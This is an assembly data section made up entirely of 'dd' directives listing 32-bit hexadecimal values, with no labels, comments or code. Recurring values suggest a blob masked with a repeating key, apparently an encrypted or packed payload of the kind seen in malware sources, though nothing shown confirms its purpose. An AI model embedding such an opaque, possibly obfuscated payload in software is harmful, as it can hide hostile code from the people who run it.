		dd 1F5F1E21h, 1B3AD9BDh, 0D6FE2EE5h, 0A4D9460Bh, 0C28FC4E5h
		dd 5CD80326h, 0A642AAD4h, 0EC562B35h, 6B3B43A7h, 1B3ADD88h
		dd 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h, 1B3AF6A4h,	0DE8B19A0h
		dd 0C3E51AC9h, 3087B0Fh, 21248721h, 5C3AD9A0h, 0BCF35FD2h
		dd 0ABC4060h, 0DDBE1120h, 6B3B43A4h, 1B3ADD88h,	0DE92F9A0h
		dd 3F7F62F8h, 3F7F5AA4h, 1B3AF3A4h, 0DE8B19A0h,	6F33A79h
		dd 44B2B03Ah, 0EC638B35h, 3B8B62A7h, 2023B42Bh,	0B93AD9A0h
		dd 0B58A9055h, 45448F29h, 0A895E171h, 0EF39BF25h, 6B3B43A7h
		dd 1B3ADD88h, 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h,	1B3AF0A4h
		dd 0DE8B19A0h, 0BFF0E1B9h, 1BF36029h, 0B845D9A0h, 220C078Dh
		dd 4D3876C9h, 1BA4E171h, 1A136506h, 0EF253456h,	0C7F194A7h
		dd 0B039F306h, 220BF789h, 1B3B63AFh, 7BD0D9A0h,	1B3AE388h
		dd 56C4D5A0h, 0C378EFA4h, 0E9C6A743h, 1B4CC2FBh, 2E6CD9A0h
		dd 9AEEAA67h, 0D715F7ECh, 0B0D05C8Fh, 7C9D50EEh, 1BF63FF0h
		dd 1BA56FB2h, 1B3EC1F6h, 795AD9A0h, 8FC43863h, 5FBBDDC4h
		dd 1B54DDC4h, 7180D9A0h, 598DD763h, 0D753336Ch,	22B09729h
		dd 0D039E171h, 220FC3FAh, 1A396506h, 0EC687736h, 54D864A7h
		dd 9E42AAB8h, 0EC62E35Dh, 9F49D9A7h, 1B3AD9FCh,	38CDA0Ah
		dd 1B3AD9A4h, 75FE33C0h, 1F5F2E29h, 1F5F1E21h, 1B3AD9B6h
		dd 64FE2BE2h, 0F3C5D6F4h, 1B3B5AAFh, 38AD9A0h, 1B3AD9B5h
		dd 3775BA82h, 318250B9h, 13CE414Fh, 0D916AA60h,	8B07810Ah
		dd 1B3AE388h, 0C7FA7DA0h, 0DA14FD15h, 0A14A37E2h, 1B3AD9A0h
		dd 4FC438FFh, 14C63FC4h, 5958FA0h, 0D83DE175h, 220BF0E5h
		dd 4DF06F9Fh, 6B9AE171h, 1B3AE389h, 16FE9BA0h, 0AFBE35DDh
		dd 7C964EF6h, 5958F9Fh,	1BA4E175h, 1B3EC1F5h, 785AD9A0h
		dd 87C43763h, 5FBBDDC4h, 1B51DDC4h, 707FD9A0h, 7E9C2E63h
		dd 0F6BC3FDFh, 0D0648C6Eh, 220C08B1h, 42446F9Fh, 1BA4E171h
		dd 1B3EC1F6h, 795AD9A0h, 8FC43863h, 5FBBDDC4h, 1B52DDC4h
		dd 7180D9A0h, 0F27FE763h, 0DAA0F1DCh, 0D8BE3D97h, 220BE961h
		dd 89BEE8A2h, 853AD9A0h, 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh
		dd 9C3EFE1Ch, 353EFDE4h, 623AD9A0h, 58599CF7h, 4BACFBD7h
		dd 1B4AC2D6h, 8FD9A0h, 0BF0FCA8Eh, 0FDF6AA7Fh, 0C5678A4h
		dd 40C064E1h, 8542AABEh, 1E232BA0h, 3B3AD9A0h, 0A4959CFAh
		dd 9C3EFDF4h, 313EFDE4h, 5D3AD9A0h, 4919CF2h, 24D7E34Bh
		dd 0E142AAB8h, 0B8C5D9A0h, 220BDB61h, 281A5B06h, 0E8C0A146h
		dd 1B42AAC2h, 853AD9A0h, 1E232FA0h, 3B3AD9A0h, 0A4999CFEh
		dd 9C3EFE14h, 353EFDE4h, 613AD9A0h, 6F399CF6h, 0D314DBE8h
		dd 0FCD80D25h, 1E42AAA6h, 0EC6BD73Dh, 0FBAC2A7h, 0D8C6D9A0h
		dd 220BF8F5h, 1BA59B2Bh, 1B3EC1F3h, 765AD9A0h, 77C43563h
		dd 5FBBDDC4h, 1B52DDC4h, 6E7DD9A0h, 27796C63h, 0DA4A4884h
		dd 7CC0677Bh, 8542AAB3h, 1E2329A0h, 3B3AD9A0h, 0A4939CF8h
		dd 9C3EFDE4h, 383EFDE4h, 5B3AD9A0h, 0A2AE9CF0h,	6330520Bh
		dd 0CBE017FDh, 3B447729h, 2023E171h, 0DA3AD9A0h, 136AB1C8h
		dd 0D6A12A31h, 0A4CB27B6h, 0EC6B2F25h, 853B43A7h, 1E2329A0h
		dd 3B3AD9A0h, 0A4939CF8h, 9C3EFDE4h, 373EFDE4h,	5B3AD9A0h
		dd 0B8A79CF0h, 0A0AE3F32h, 813DE326h, 85927D5Bh, 6B3B43A0h
		dd 1B3ADD88h, 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h,	1B3AF5A4h
		dd 0DE8B19A0h, 2F00B007h, 0B1FF2256h, 0A0EFDB6Ch, 0A842AAD3h
		dd 0F0E7A625h, 723B43A7h, 1B3ADD88h, 0DE99F9A0h, 3FB762FFh
		dd 3F7F5AA4h, 1B3AF3A4h, 0DE9220A0h, 849CB485h,	7B083801h
		dd 6AB1A921h, 0A49AE590h, 0EC618F2Dh, 7C9CCEA7h, 0A6409A23h
		dd 0EC6C6B3Dh, 1B45C1A7h, 0F03CD9A0h, 93C546DEh, 262AE49Ah
		dd 0DF1A5B06h, 81CB3985h, 7B8BD22Bh, 0AB9C7A53h, 1BA4DA0Ah
		dd 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h, 1B4EDDC4h
		dd 6C7BD9A0h, 1BA5CC63h, 390DA0Ah, 1B3AD9A4h, 79FE37C0h
		dd 1F5F4E29h, 1F5F1E21h, 1B3AD9BAh, 83FE2FE6h, 3B2346A4h
		dd 0B03AC2F6h, 220BF781h, 38BDA0Ah, 1B3AD9A4h, 74FE32C0h
		dd 1F5F2629h, 1F5F1E21h, 1B3AD9BAh, 3EFE2AE1h, 0BD8D9393h
		dd 22F21FEEh, 0F0A1672Dh, 1BA4E174h, 1B3EC1F5h,	785AD9A0h
		dd 87C43763h, 5FBBDDC4h, 1B4FDDC4h, 707FD9A0h, 0D2B14B63h
		dd 7B0CD917h, 44245EA1h, 0A0C5E171h, 220BF879h,	1B48C301h
		dd 0A3BCD9A0h, 8969C828h, 0ADC24E66h, 9EE64197h, 0EC51EF5Dh
		dd 0A049DAA7h, 1B3ADA32h, 391DA0Ah, 1B3AD9A4h, 7AFE38C0h
		dd 1F5F5629h, 1F5F1E21h, 1B3AD9BDh, 2AFE30E7h, 0C2C75EB1h
		dd 18497A6Eh, 1B45C1B3h, 9CFD9A0h, 0E0A02E52h, 0A5DBC01h
		dd 260E9507h, 853D43FBh, 1E232AA0h, 3B3AD9A0h, 0A4949CF9h
		dd 9C3EFDECh, 353EFDE4h, 5C3AD9A0h, 8D9F9CF1h, 6AD132D2h
		dd 0F9C52A9Ah, 0D65EDE29h, 5A9C049Ch, 1A3990AFh, 0EC58C336h
		dd 703B43A7h, 1B3ADD88h, 0DE97F9A0h, 3FA762FDh,	3F7F5AA4h
		dd 1B3AEFA4h, 0DE901EA0h, 2AFB3483h, 7F24D85Fh,	33AD9AFh
		dd 1B3AD9A1h, 0F1285AFDh, 8542AF4Ch, 1E232FA0h,	3B3AD9A0h
		dd 0A4999CFEh, 9C3EFE14h, 353EFDE4h, 613AD9A0h,	0EA789CF6h
		dd 2817D669h, 15C6404Bh, 0F3929201h, 2F245783h,	0D03AD9A0h
		dd 27CFBB3Dh, 961E211Ah, 4A30630Eh, 748F4F7Fh, 7C39B4B0h
		dd 0D7B25F2Dh, 1BA4E174h, 1B3EC1F3h, 765AD9A0h,	77C43563h
		dd 5FBBDDC4h, 1B50DDC4h, 6E7DD9A0h, 84730A63h, 45047729h
		dd 7B8AE171h, 1F119900h, 7B9C4A11h, 4C4A2BF0h, 0A94A31FAh
		dd 1B3AD9A0h, 1FC43B01h, 0CCF864C4h, 7F42AAC2h,	1B3B0F9Fh
		dd 0B0C3D9A0h, 220C03B5h, 1B606304h, 853AD9A0h,	1E232CA0h
		dd 3B3AD9A0h, 0A4969CFBh, 9C3EFDFCh, 373EFDE4h,	5E3AD9A0h
		dd 3C4F9CF3h, 2FC4EB5Ah, 2ADC2CADh, 1B3AE022h, 80D00AA0h
		dd 1A42AAC1h, 0EC63FB26h, 713B43A7h, 1B3ADD88h,	0DE98F9A0h
		dd 3FAF62FEh, 3F7F5AA4h, 1B3AF5A4h, 0DE911FA0h,	1D4795AAh
		dd 0EC337F96h, 98D86593h, 2A42AAD4h, 1B3ADD20h,	0F9F1E8A0h
		dd 1BA5D90Ah, 1B3EC1F3h, 765AD9A0h, 77C43563h, 5FBBDDC4h
		dd 1B56DDC4h, 6E7DD9A0h, 906AC563h, 7E15C8C4h, 0D03AA2CEh
		dd 220BF471h, 2065B06h,	38D0D8A8h, 442AAB4h, 1B3ADAB1h
		dd 47499906h, 2B23DA50h, 753AD9A0h, 572606C8h, 69EECACCh
		dd 56ECF7C5h, 2AD2EDF7h, 1B3AE02Fh, 84C062A0h, 142AABDh
		dd 0FCD86311h, 0FF42AAB4h, 4FA4011h, 2A9C1674h,	1B3BAD23h
		dd 35FA3FA0h, 0E3F0E91Ah, 1BCC972Bh, 21F4E171h,	2A3AD9A0h
		dd 0DCC6B25Fh, 33FC261h, 1B3AD9A7h, 25C616EAh, 0B85E43A7h
		dd 220C08A9h, 0FD323FFBh, 0E366B32Bh, 48D46F29h, 0ECC5E171h
		dd 4B4A920h, 1B3AD9A3h,	0A0C6B92Bh, 220C0585h, 4DE08F29h
		dd 0DBBDE171h, 14C63FA7h, 3E3B9A24h, 0EC3B273Dh, 2A0B14A7h
		dd 1B3AE923h, 98F864A0h
		dd 442AACBh, 1B3ADA01h,	7A1364F6h, 4EDC672Bh, 0D8C3E171h
		dd 220BF8FDh, 2A3CBB23h, 1B3B2124h, 14C63FA0h, 1B405FB0h
		dd 0D2F9D9A0h, 9EA8E78Dh, 0EC6E7B45h, 9E4AD7A7h, 1B3AD9A3h
		dd 0A4136506h, 0EC66BF35h, 1B4DC2A7h, 0BA9ED9A0h, 0E58CCD5Bh
		dd 17C09AEBh, 1082C619h, 99EE7B3Eh, 205898F1h, 49A068Dh
		dd 1B3AD9A1h, 46AA8F2Dh, 0D8C5E175h, 220BF65Dh,	0B8C5DA0Ah
		dd 220BEFFDh, 1B906F9Fh, 1BA4E171h, 1B3EC1F2h, 755AD9A0h
		dd 6FC43463h, 5FBBDDC4h, 1B54DDC4h, 6D7CD9A0h, 1014EB63h
		dd 1FE71A53h, 1B42D459h, 713B43A0h, 1B3ADD88h, 0DE98F9A0h
		dd 3FAF62FEh, 3F7F5AA4h, 1B3AF6A4h, 0DE911FA0h,	5088595Ah
		dd 0B1F76DF1h, 22243534h, 1B3AD9A0h, 0C6259EA4h, 0FCBE8EDAh
		dd 6E3B449Ch, 1B3ADD88h, 0DE95F9A0h, 3F9762FBh,	3F7F5AA4h
		dd 1B3AEDA4h, 0DE8E1CA0h, 0D86ED5F0h, 220BF33Dh, 0D06D1C5Fh
		dd 17FB04FAh, 1B3ADA5Bh, 6D3B43A0h, 1B3ADD88h, 0DE94F9A0h
		dd 3F8F62FAh, 3F7F5AA4h, 1B3AEFA4h, 0DE8D1BA0h,	9BBBB6EBh
		dd 4EE8D56Fh, 1E23AB62h, 1F245D70h, 0AEFACE15h,	855C4FFFh
		dd 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch,	343EFDE4h
		dd 623AD9A0h, 1E889CF7h, 9371CEC6h, 37FC6729h, 0A349E171h
		dd 1B3AD9A6h, 483C972Bh, 0A347E171h, 0A53AD9A0h, 6CD0657Ch
		dd 8542AABBh, 1E232AA0h, 3B3AD9A0h, 0A4949CF9h,	9C3EFDECh
		dd 323EFDE4h, 5C3AD9A0h, 0B4709CF1h, 0D8C68E48h, 220BEA3Dh
		dd 4890672Bh, 1BA4E171h, 1B3EC1F7h, 7A5AD9A0h, 97C43963h
		dd 5FBBDDC4h, 1B57DDC4h, 7281D9A0h, 0B33B1063h,	0FCA5829Fh
		dd 6B9F2A8Bh, 33C69C2Bh, 33C69AA3h, 30C9B2Bh, 33C69BA4h
		dd 6B3B43F8h, 1B3ADD88h, 0DE92F9A0h, 3F7F62F8h,	3F7F5AA4h
		dd 1B3AF1A4h, 0DE8B19A0h, 0F3CA2F34h, 2638990Ch, 0A043F718h
		dd 220BF205h, 36009723h, 2A3AE171h, 1B3B6724h, 723B43A0h
		dd 1B3ADD88h, 0DE99F9A0h, 3FB762FFh, 3F7F5AA4h,	1B3AF1A4h
		dd 0DE9220A0h, 0D2CDEE70h, 0AEE49999h, 1BF31D03h, 43AD9A0h
		dd 1B3AD9B5h, 33EA5B0Dh, 9DA4AE2h, 0D60A18FCh, 735C5C63h
		dd 707C146Fh, 6845672Dh, 1BA4E171h, 1B3EC1F3h, 765AD9A0h
		dd 77C43563h, 5FBBDDC4h, 1B4EDDC4h, 6E7DD9A0h, 13F63563h
		dd 1A7F1251h, 713B4482h, 1B3ADD88h, 0DE98F9A0h,	3FAF62FEh
		dd 3F7F5AA4h, 1B3AF2A4h, 0DE911FA0h, 708E3B04h,	0D8BE9994h
		dd 220BF6D9h, 0CBEE8A0h, 853AD9A5h, 1E232FA0h, 3B3AD9A0h
		dd 0A4999CFEh, 9C3EFE14h, 323EFDE4h, 613AD9A0h,	0F58D9CF6h
		dd 0B8C4B188h, 220BFA2Dh, 21CC772Bh, 0D8BDE171h, 220BF6D9h
		dd 0EFBEE8A1h, 0A43AD9A4h, 0EC4B9F25h, 54F85CA7h, 1E42AABDh
		dd 1FC65FAFh, 0B0C3D9A0h, 220C0A3Dh, 6B3B4400h,	1B3ADD88h
		dd 0DE92F9A0h, 3F7F62F8h, 3F7F5AA4h, 1B3AF4A4h,	0DE8B19A0h
		dd 19B1E3FBh, 0A1FCB3E6h, 2A9BD72Ah, 1B3ADD25h,	0E9F9E8A0h
		dd 35D46F2Bh, 819BE171h, 1BA5B32Ch, 1B3EC1F0h, 735AD9A0h
		dd 5FC43263h, 5FBBDDC4h, 1B4EDDC4h, 6B7AD9A0h, 24246A63h
		dd 0DC3AD9A0h, 156AE038h, 53056633h, 9B336506h,	1BA4DE81h
		dd 1B3EC1F5h, 785AD9A0h, 87C43763h, 5FBBDDC4h, 1B51DDC4h
		dd 707FD9A0h, 0FEADF563h, 33964A7h, 1B3AD9B5h, 0A440A8C9h
		dd 9DC82BF2h, 0AFA379Bh, 73BFFEB0h, 1D3FC153h, 76336506h
		dd 9F4AA2AAh, 1B3ADA9Dh, 43305F2Bh, 0D0C3E171h,	220C089Dh
		dd 0A06EB32Bh, 220C0B6Dh, 1B3ADF89h, 15D29BA0h,	0D28B9130h
		dd 3F3F638Dh, 3D707729h, 1BA4E171h, 1B3AEE89h, 45B45CA0h
		dd 751B1C41h, 5D1C1D0Fh, 0DEEA0C40h, 51AADB36h,	5D5A422Dh
		dd 2D24A590h, 0EB3AD9A0h, 474CDCB9h, 536F0C8Fh,	32B4A03Dh
		dd 77B9142Ah, 3F3F5B65h, 4F699B80h, 38FDA0Ah, 1B3AD9A4h
		dd 78FE36C0h, 1F5F4629h, 1F5F1E21h, 1B3AD9B4h, 0F2FE2EE5h
		dd 36A16E5Bh, 30D0D8EEh, 8542AACBh, 1E232FA0h, 3B3AD9A0h
		dd 0A4999CFEh, 9C3EFE14h, 383EFDE4h, 613AD9A0h,	588F9CF6h
		dd 66B2D745h, 8F88D9FCh, 0A41690AFh, 0EF253425h, 6E3B43A7h
		dd 1B3ADD88h, 0DE95F9A0h, 3F9762FBh, 3F7F5AA4h,	1B3AF5A4h
		dd 0DE8E1CA0h, 729DD6BEh, 8CC53615h, 18D864F7h,	442AAD2h
		dd 1B3ADBEAh, 1B3AE689h, 8E2FA2A0h, 101F438Ah, 318ABBBDh
		dd 6DC06587h, 8542AE8Ah, 1E232AA0h, 3B3AD9A0h, 0A4949CF9h
		dd 9C3EFDECh, 313EFDE4h, 5C3AD9A0h, 0F4819CF1h,	333BA0DCh
		dd 853AD9A0h, 1E232AA0h, 3B3AD9A0h, 0A4949CF9h,	9C3EFDECh
		dd 353EFDE4h, 5C3AD9A0h, 0FC7D9CF1h, 6240AEF3h,	1AF9E914h
		dd 5918F2Ch, 1BA4E175h,	1B3EC1F7h, 7A5AD9A0h, 97C43963h
		dd 5FBBDDC4h, 1B4EDDC4h, 7281D9A0h, 0B0C46663h,	220BF9A9h
		dd 3DEC972Bh, 0A0C5E171h, 220BE63Dh, 0E924C921h, 21C3EC28h
		dd 1B3AEE88h, 391E95A0h, 67858080h, 0EA5B119Bh,	36012932h
		dd 0B3CF36EEh, 0F6F9E903h, 10C064FFh, 8542AAC9h, 1E232CA0h
		dd 3B3AD9A0h, 0A4969CFBh, 9C3EFDFCh, 2F3EFDE4h,	5E3AD9A0h
		dd 0A6C39CF3h, 1F81637Fh, 1DC3E8F0h, 0D23AD9A0h, 3F6F6384h
		dd 436C772Bh, 0D039E171h, 220FC3F2h, 38ADA0Ah, 1B3AD9A4h
		dd 73FE31C0h, 1F5F1E29h, 1F5F1E21h, 1B3AD9BAh, 6FE29E0h
		dd 0A17C4760h, 2823C82Dh, 833AD9A0h, 0DEA3C962h, 513DA5B9h
		dd 12A4090Fh, 1B3AE589h, 0DC2659A0h, 3E8F20C5h,	8B1D88CBh
		dd 3A07225Bh, 39A38F4h,	1B3AD9A5h, 1B59DD9Fh, 7B8B3253h
		dd 9B4A2BF0h, 1B3AD9A0h, 21240AAFh, 0CD3AD9A0h,	407385F4h
		dd 7C933478h, 1F5F1E2Bh, 1B3AE889h, 18A095A0h, 8D210D58h
		dd 57EF276Ch, 0A678CD67h, 3F7F62A0h, 6D8B39A4h,	4C4A34F7h
		dd 1B3AE889h, 0DDE320A0h, 0D9B6D4Fh, 75EC9646h,	75A06586h
		dd 7C2563F8h, 703B43F8h, 1B3ADD88h, 0DE97F9A0h,	3FA762FDh
		dd 3F7F5AA4h, 1B3AF2A4h, 0DE901EA0h, 0E031DA9Bh, 0A0C8D21Bh
		dd 220FC3FAh, 38CDA0Ah,	1B3AD9A4h, 75FE33C0h, 1F5F2E29h
		dd 1F5F1E21h, 1B3AD9BDh, 0D4FE2BE2h, 963BFD6Ah,	0C4408984h
		dd 1B4BC1E6h, 3AF6D9A0h, 0AD170512h, 7A89272Eh,	46E63B2Ch
		dd 0D0642C77h, 220BFAD1h, 0FAC629FFh, 855EDE29h, 1E2330A0h
		dd 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch, 363EFDE4h,	623AD9A0h
		dd 0E3589CF7h, 0BEC8A6A4h, 0B03A54C0h, 220C04B5h, 1B3AE289h
		dd 884FDEA0h, 14B1B60Fh, 1BA53AB1h, 1B3EC1F3h, 765AD9A0h
		dd 77C43563h, 5FBBDDC4h, 1B54DDC4h, 6E7DD9A0h, 9F85C863h
		dd 75D591h, 89D5A522h, 0ABB06DFh, 54C0A139h, 1E42AABDh
		dd 853AD9A0h, 1E232BA0h, 3B3AD9A0h, 0A4959CFAh,	9C3EFDF4h
		dd 353EFDE4h, 5D3AD9A0h, 11749CF2h, 9A5EA1A3h, 75F85D1Ch
		dd 1B42AE8Ah, 1B765DAFh, 0DEBBD9A0h, 2ECFFCBFh,	1B3B2589h
		dd 713B43A0h, 1B3ADD88h, 0DE98F9A0h, 3FAF62FEh,	3F7F5AA4h
		dd 1B3AF5A4h, 0DE911FA0h, 0B05C6372h, 92FD7A52h, 24C862E6h
		dd 0A442AABEh, 0EC578F35h, 276B29A7h, 2C7ED9B1h, 2B239AA1h
		dd 1D4C1DD0h, 1E4C25A0h, 1F245CF8h, 5126C115h, 2C3F09F0h
		dd 1C4C3DA0h, 4B4BC261h, 1B3CEAE4h, 733DEB04h, 903FC323h
		dd 6B56C587h, 434BC261h, 4B3DEB04h, 733CEAE4h, 1C4C3DC8h
		dd 9E4BDDD0h, 2AFDE89h,	0DBC5DA8Ch, 391DA0Ah, 1B3AD9A4h
		dd 7AFE38C0h, 1F5F5629h, 1F5F1E21h, 1B3AD9B5h, 0B9FE30E7h
		dd 8CF8651Ah, 2A42AAB3h
		dd 1B3ADD26h, 4A2E59A0h, 4E3476CBh, 0D8BDE171h,	220BF6D9h
		dd 0EDBFE8A3h, 853AD9A4h, 1E232CA0h, 3B3AD9A0h,	0A4969CFBh
		dd 9C3EFDFCh, 363EFDE4h, 5E3AD9A0h, 0C03C9CF3h,	0BE9B8469h
		dd 6E305025h, 1B3AE389h, 7FA313A0h, 37F2F4A8h, 2A9A30B7h
		dd 1B3AE024h, 20F062A0h, 9E42AACAh, 0EF25345Dh,	9F49D9A7h
		dd 1B3ADE25h, 37605F29h, 0D039E171h, 220FC3FAh,	1A30B22Ah
		dd 0EC698B36h, 713B43A7h, 1B3ADD88h, 0DE98F9A0h, 3FAF62FEh
		dd 3F7F5AA4h, 1B3AEDA4h, 0DE911FA0h, 15F9E8B7h,	5898F2Ch
		dd 1BA4E175h, 1B3EC1F6h, 795AD9A0h, 8FC43863h, 5FBBDDC4h
		dd 1B53DDC4h, 7180D9A0h, 1D415463h, 4AB84D8h, 1B3AD9ACh
		dd 0B0F2A98Bh, 622C1288h, 0E28E58C0h, 1C3ADAA6h, 6C3B43A0h
		dd 1B3ADD88h, 0DE93F9A0h, 3F8762F9h, 3F7F5AA4h,	1B3AEFA4h
		dd 0DE8C1AA0h, 9BCB43C1h, 0D86C5E8Fh, 220BFA09h, 1B41C336h
		dd 0AB9FD9A0h, 0B5470DC6h, 0B13564F0h, 30C69506h, 5958F9Fh
		dd 1BA4E175h, 1B3EC1F0h, 735AD9A0h, 5FC43263h, 5FBBDDC4h
		dd 1B51DDC4h, 6B7AD9A0h, 65B7CA63h, 0B03AD31Ah,	220C0B45h
		dd 3634972Bh, 53F1E171h, 5898F2Bh, 1BA4E175h, 1B3EC1F0h
		dd 735AD9A0h, 5FC43263h, 5FBBDDC4h, 1B51DDC4h, 6B7AD9A0h
		dd 0BB73063h, 7CD7DACEh, 0A642AAA6h, 0EC660B25h, 723B43A7h
		dd 1B3ADD88h, 0DE99F9A0h, 3FB762FFh, 3F7F5AA4h,	1B3AF0A4h
		dd 0DE9220A0h, 240767A3h, 2A30D120h, 1B3AEB2Bh,	1B47C2A0h
		dd 0EAA3D9A0h, 0F5686AE5h, 1041A139h, 0A1C426B7h, 1B3ADA64h
		dd 38DDA0Ah, 1B3AD9A4h,	76FE34C0h, 1F5F3629h, 1F5F1E21h
		dd 1B3AD9B9h, 60FE2CE3h, 56D106B5h, 38D802EBh, 7B42AABDh
		dd 0F5BC3FF3h, 7B9A357Ch, 16339306h, 7C9C3B01h,	23A79906h
		dd 368C6F2Bh, 0D8C5E171h, 220BED69h, 0DDBED22Bh, 6C3B43A4h
		dd 1B3ADD88h, 0DE93F9A0h, 3F8762F9h, 3F7F5AA4h,	1B3AF5A4h
		dd 0DE8C1AA0h, 92A8C6F0h, 0B9A7455Bh, 0C8F86529h, 9C42AABAh
		dd 7B31EE8Bh, 3B8B62FDh, 38BDA0Ah, 1B3AD9A4h, 74FE32C0h
		dd 1F5F2629h, 1F5F1E21h, 1B3AD9B7h, 38FE2AE1h, 0CE00FB08h
		dd 0C0676Ch, 8542AE9Fh,	1E232FA0h, 3B3AD9A0h, 0A4999CFEh
		dd 9C3EFE14h, 343EFDE4h, 613AD9A0h, 0C62A9CF6h,	91C33A69h
		dd 0B501D65Fh, 0D3C16313h, 723AD9A0h, 22DC96A9h, 8595E171h
		dd 6D3B43A0h, 1B3ADD88h, 0DE94F9A0h, 3F8F62FAh,	3F7F5AA4h
		dd 1B3AEEA4h, 0DE8D1BA0h, 0DA4AC6C9h, 75F0D998h, 8542AE8Ah
		dd 1E2329A0h, 3B3AD9A0h, 0A4939CF8h, 9C3EFDE4h,	363EFDE4h
		dd 5B3AD9A0h, 1EC19CF0h, 412E13F1h, 0D8C42905h,	220C0455h
		dd 46C496C9h, 0B039E171h, 220BF789h, 1B3AE188h,	5DF81AA0h
		dd 67A92E84h, 30D8772Bh, 0B199E171h, 0B13564F0h, 0A4146506h
		dd 0EC5C772Dh, 75F0D8A7h, 0A642AE8Ah, 0EC51A73Dh, 0B8D0D8A7h
		dd 8542AACDh, 1E232CA0h, 3B3AD9A0h, 0A4969CFBh,	9C3EFDFCh
		dd 343EFDE4h, 5E3AD9A0h, 48BC9CF3h, 295AEAh, 1B3AED8Ah
		dd 0C2DB56A0h, 0BCF128A2h, 66A38136h, 0D9105C4Fh, 0E7803A5Ch
		dd 43449723h, 2A3AE171h, 1B3B6A24h, 723B43A0h, 1B3ADD88h
		dd 0DE99F9A0h, 3FB762FFh, 3F7F5AA4h, 1B3AF4A4h,	0DE9220A0h
		dd 96343D7Bh, 2494695Ch, 1B3AE889h, 1494EBA0h, 69F575CDh
		dd 5148A36Eh, 37CD9E0h,	1B3AD9AEh, 6EB24F88h, 0A32E9E33h
		dd 0C5976EB3h, 13C64085h, 0BBF67000h, 6B44405Ch, 17C52BF0h
		dd 0FCFA0AB0h, 7562459Fh, 1BA56FF8h, 1B3EC1F3h,	765AD9A0h
		dd 77C43563h, 5FBBDDC4h, 1B56DDC4h, 6E7DD9A0h, 598ADF63h
		dd 0AB134CC2h, 0A04A2013h, 1B3AD9A5h, 681E5B06h, 75F0D902h
		dd 8542AE8Ah, 1E232BA0h, 3B3AD9A0h, 0A4959CFAh,	9C3EFDF4h
		dd 373EFDE4h, 5D3AD9A0h, 86789CF2h, 2B323F7Eh, 2A7C7EA9h
		dd 1B3ADD25h, 1AF1E8A0h, 4DF06FA0h, 0D6A0E171h,	0D03A2DB0h
		dd 220FC3FAh, 38FDA0Ah,	1B3AD9A4h, 78FE36C0h, 1F5F4629h
		dd 1F5F1E21h, 1B3AD9B7h, 42FE2EE5h, 1A587D98h, 0EC61E336h
		dd 103364A7h, 2AFC9724h, 2A3CE171h, 1B3B2F24h, 723B43A0h
		dd 1B3ADD88h, 0DE99F9A0h, 3FB762FFh, 3F7F5AA4h,	1B3AF6A4h
		dd 0DE9220A0h, 0BC2CFE52h, 77F7941Ah, 0D04480A3h, 220C0249h
		dd 0A63598AFh, 0EC58FF25h, 10D864A7h, 0A642AAACh, 0EC4E7F3Dh
		dd 1B3B9FA7h, 1B4767AFh, 0AA49D9A0h, 1B3AD9A6h,	49685EC9h
		dd 0A001E171h, 220BFC6Dh, 1B3AD9A0h, 1B525EAFh,	48DD9A0h
		dd 1B3AD9B1h, 0BF538B8Ah, 2563CAB3h, 6F6B1A26h,	69BDD7CAh
		dd 0D65C2FFh, 1BA5D9A0h, 1B3EC1F6h, 795AD9A0h, 8FC43863h
		dd 5FBBDDC4h, 1B53DDC4h, 7180D9A0h, 91B06B63h, 3C39900h
		dd 1B3AD9B5h, 1E1365A8h, 6A5F2EE3h, 35D5EE38h, 3F3F0B91h
		dd 0FF689CBCh, 0DCC6359Ch, 38FDA0Ah, 1B3AD9A4h,	78FE36C0h
		dd 1F5F4629h, 1F5F1E21h, 1B3AD9B9h, 67FE2EE5h, 19238510h
		dd 2BBBE951h, 7B3AD9A0h, 2123B42Bh, 8A3AD9A0h, 3889B4A0h
		dd 0A89C385Bh, 0EC4E3B25h, 0FEBC3FA7h, 0A48B8CABh, 0D86BFDA4h
		dd 220BF27Dh, 1BA4DA0Ah, 1B3EC1F7h, 7A5AD9A0h, 97C43963h
		dd 5FBBDDC4h, 1B4FDDC4h, 7281D9A0h, 0A6992663h,	0EC6EAB5Dh
		dd 33B43A7h, 1B3AD9AFh,	5C823E1h, 0BB907144h, 59CC3DEFh
		dd 0A8C47D11h, 220BED51h, 0B7C066FFh, 8542AF5Dh, 1E232AA0h
		dd 3B3AD9A0h, 0A4949CF9h, 9C3EFDECh, 383EFDE4h,	5C3AD9A0h
		dd 0F69A9CF1h, 431CC2EFh, 742F193Ah, 2FC46729h,	0DBBDE171h
		dd 20D7FCA5h, 6B42AAC1h, 0A45EDE29h, 0EC67A72Dh, 1B44C1A7h
		dd 5514D9A0h, 0E9EE4B4Eh, 4CF4FAB4h, 0EC3CA72Dh, 1BA538A7h
		dd 8596CEF7h, 24F802A0h, 1A42AACFh, 0EC58BB36h,	54FE5AA7h
		dd 0A8873ECAh, 0EF10402Dh, 0CA325AA7h, 1A8B7516h, 58025A72h
		dd 32509723h, 2A3BE171h, 1B3B5B25h, 0B0F864A0h,	8542AAB6h
		dd 713B43A2h, 1B3ADD88h, 0DE98F9A0h, 3FAF62FEh,	3F7F5AA4h
		dd 1B3AF4A4h, 0DE911FA0h, 0F64E600Fh, 890BC633h, 0E0D80D99h
		dd 6B42AAAFh, 1FC4D82Bh, 3F63FC4h, 0A8C00325h, 1A42AAACh
		dd 0EC58C336h, 6B3B43A7h, 1B3ADD88h, 0DE92F9A0h, 3F7F62F8h
		dd 3F7F5AA4h, 1B3AF6A4h, 0DE8B19A0h, 29052BF1h,	0C55890E7h
		dd 49B9E1Ch, 1B3AD9A8h,	39DB187Eh, 0A458CF67h, 0EC3CE335h
		dd 0A243AA7h, 33AD9AEh,	1B3AD9A1h, 0C1285AFDh, 8542AF5Dh
		dd 1E232EA0h, 3B3AD9A0h, 0A4989CFDh, 9C3EFE0Ch,	303EFDE4h
		dd 603AD9A0h, 15DE9CF5h, 1B3D5BB0h, 95EDD9A0h, 48F8772Bh
		dd 2722E171h, 6D3AD9A0h, 7F83AFD0h, 0DC98B88h, 0A47C2774h
		dd 0EC51075Dh, 0A0C834A7h, 220F9617h, 1B3ADF88h, 0CEB19FA0h
		dd 763356E5h, 84DDBD21h, 2ACB074Ah, 1B3AF429h, 1B49C1A0h
